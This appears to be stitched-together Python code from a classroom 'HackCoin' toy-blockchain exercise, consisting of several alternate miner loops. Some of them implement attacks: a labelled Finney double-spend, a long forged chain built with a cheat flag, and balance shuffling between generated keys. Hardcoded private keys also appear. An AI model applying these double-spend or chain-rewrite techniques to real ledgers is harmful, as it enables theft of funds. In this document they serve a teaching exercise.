def transaction(receiver, amount, times=1): global public global private global blockchain if get_balance(public) < amount: print "You don't have enough HackCoins." return txns = [] if os.path.exists(TXN_FILE): with open(TXN_FILE, 'r') as f: txns_json = f.read() txns = jsonpickle.decode(txns_json) for _ in range(times): # Build a new transaction. t = Transaction(id=gen_uuid(), owner=public, receiver=receiver, coins=amount, signature=None) # Sign it. t.signature = sign(t.comp(), private) # Place it in the miner queue to be mined. txns.append(t) with open(TXN_FILE, 'w') as f: f.write(jsonpickle.encode(txns))
def paySomeone(public, private, target, amount): txn = Transaction(id=gen_uuid(), owner=public, receiver=target, coins=amount, signature=None) txn.signature = sign(txn.comp(), private) return txn
def run_miner(): """Run the main miner loop. """ global blockchain global public global private while True: # Load transaction queue and blockchain from server. txns = load_transactions() blockchain = load_blockchain() # Add reward to us yay. reward = Transaction(id=gen_uuid(), owner="mined", receiver=public, coins=REWARD, signature=None) reward.signature = sign(reward.comp(), private) txns.append(reward) # Construct a new block. b = Block(timestamp=datetime.datetime.now(), transactions=txns, previous_hash=blockchain.head.hash_block()) # Let's mine this block. mine_till_found(b) # Is this _the_ new block? # or did the server swoop us :( new_chain = load_blockchain() if new_chain.head.hash_block() == blockchain.head.hash_block(): # WE MINED THIS BLOCK YAY. # AND WE WIN. resp = get_route('add', data=str(b)) if resp['success']: print "Block added!" delete_queue(txns) else: print "Couldn't add block:", resp['message'] else: print "Someone else mined the block before us :("
def run_miner(): """Run the main miner loop. """ my_address = "2cb4fc5902917e58e531cfbe1d909727aaf331b4856bf8627e09bf8941b69a40" my_private = "610af1630bf08b0072d97bdaf71882cd0a2c86e7af72296b4ee73f508b812c28" my_address_2 = "a173fd8d2330cc2b4776730891f50099204376217c67b7b23254aca04fbeb5a3" my_private_2 = "d0f783f01ac0df1799856964fe74f702763932e1edf3e9d0074646de885d5559" public = my_address_2 private = my_private_2 donor = None while True: print("new public", public) print("new private", private) global blockchain global real_b1 global fake_b1 global fake_b2 blockchain = load_blockchain() # Add reward to us yay. # my_address_3 = "5adbd7137903135fa2cc5a2de2035a326319e42188a9c6714b26fa016c6ac1bb" # my_private_3 = "91f233e1218135b772ddc87a199e6d3cc18233753623f95385dde62e886304c7" amount_1 = blockchain.get_wallet_amount(my_address) amount_2 = blockchain.get_wallet_amount(my_address_2) # amount_3 = blockchain.get_wallet_amount(my_address_3) if amount_1 < 0: my_private, my_address = generate_keys() public = my_address private = my_private donor_pub = my_address_2 donor_private = my_private_2 donor_amount = amount_2 else: my_private_2, my_address_2 = generate_keys() public = my_address_2 private = my_private_2 donor_pub = my_address donor_private = my_private donor_amount = amount_1 # Add reward to us yay. reward = Transaction( id = gen_uuid(), owner = "mined", receiver = public, coins = REWARD, signature = None ) txns = [] reward.signature = sign(reward.comp(), private) txns.append(reward) donation1 = Transaction( id = gen_uuid(), owner = donor_pub, receiver = "3119281c76dc54009925c9208bedc5bd0162c27034a1649fd7e2e5df62dba557", coins = donor_amount, signature = None ) donation1.signature = sign(donation1.comp(), donor_private) donation2 = Transaction( id = gen_uuid(), owner = donor_pub, receiver = public, coins = donor_amount, signature = None ) donation2.signature = sign(donation2.comp(), donor_private) txns.append(donation1) txns.append(donation2) # Construct a new block. real_b1 = Block( timestamp = datetime.datetime.now(), transactions = txns, previous_hash = blockchain.head.hash_block() ) mine_till_found(real_b1) new_chain = load_blockchain() # print "Adding real block now" # resp1 = get_route('add', data=str(real_b1)) # if resp1['success']: # print "Added real block1!" # else: # print "Couldn't add block:", resp1['message'] if new_chain.head.hash_block() == blockchain.head.hash_block(): print "Adding real block now" resp1 = get_route('add', data=str(real_b1)) if resp1['success']: print "Added real block1!" else: print "Couldn't add block:", resp1['message'] else: print "Someone else mined the block before us :("
def run_miner(): """Run the main miner loop. """ global blockchain global public global private while True: # Load transaction queue and blockchain from server. txns = load_transactions() blockchain = load_blockchain() # Loc: Check our balance balance = get_balance(public) print "Current balance", balance # Loc: Set up attack is_attacking = False if balance > 60: print "Setting up Finney attack" is_attacking = True t = Transaction( id=gen_uuid(), owner=public, receiver= "6f181e44edfc93de084071e590421e5b083f93da6012d441658b6b31a966ae9c", coins=balance, signature=None) # Sign it. t.signature = sign(t.comp(), private) # Pay myself a lot! for x in range(0, 3): txns.append(t) # Add reward to us yay. reward = Transaction(id=gen_uuid(), owner="mined", receiver=public, coins=REWARD, signature=None) reward.signature = sign(reward.comp(), private) txns.append(reward) # Construct a new block. b = Block(timestamp=datetime.datetime.now(), transactions=txns, previous_hash=blockchain.head.hash_block()) # Let's mine this block. mine_till_found(b) # Is this _the_ new block? # or did the server swoop us :( new_chain = load_blockchain() if new_chain.head.hash_block() == blockchain.head.hash_block(): # WE MINED THIS BLOCK YAY. # AND WE WIN. # Loc: Add in a Finney attack to double spend the coin resp = get_route('add', data=str(b)) if resp['success']: print "Block added!" delete_queue(txns) else: print "Couldn't add block:", resp['message'] else: print "Someone else mined the block before us :("
def run_miner(): """Run the main miner loop. """ global blockchain global public global private new_reward = REWARD while True: # Load transaction queue and blockchain from server. new = [] blockchain = Blockchain() blockchain.add_block( Block( timestamp=datetime.datetime.now(), transactions=[], previous_hash=get_genisis().hash_block(), nonce=12834 ), cheat=True ) server = load_blockchain() txns = load_transactions() # Is this _the_ new block? # or did the server swoop us :( new_chain = load_blockchain() num_blocks = 1333 + server.head.height for i in range (num_blocks): reward = Transaction( id = gen_uuid(), owner = "mined", receiver = public, coins = REWARD, signature = None ) reward.signature = sign(reward.comp(), private) txns = [reward] b = Block( timestamp = datetime.datetime.now(), transactions = txns, previous_hash = blockchain.head.hash_block() ) blockchain.add_block(b, cheat=True) # Let's mine this block. reward = Transaction( id = gen_uuid(), owner = "mined", receiver = public, coins = REWARD, signature = None ) reward.signature = sign(reward.comp(), private) txns = [reward] # Construct a new block. b = Block( timestamp = datetime.datetime.now(), transactions = txns, previous_hash = b.hash_block() ) print(blockchain.head.height) mine_till_found(b) # WE MINED THIS BLOCK YAY. # AND WE WIN. resp = get_route('add', data=str(b)) if resp['success']: print "Block added!" delete_queue(txns) else: print "Couldn't add block:", resp['message']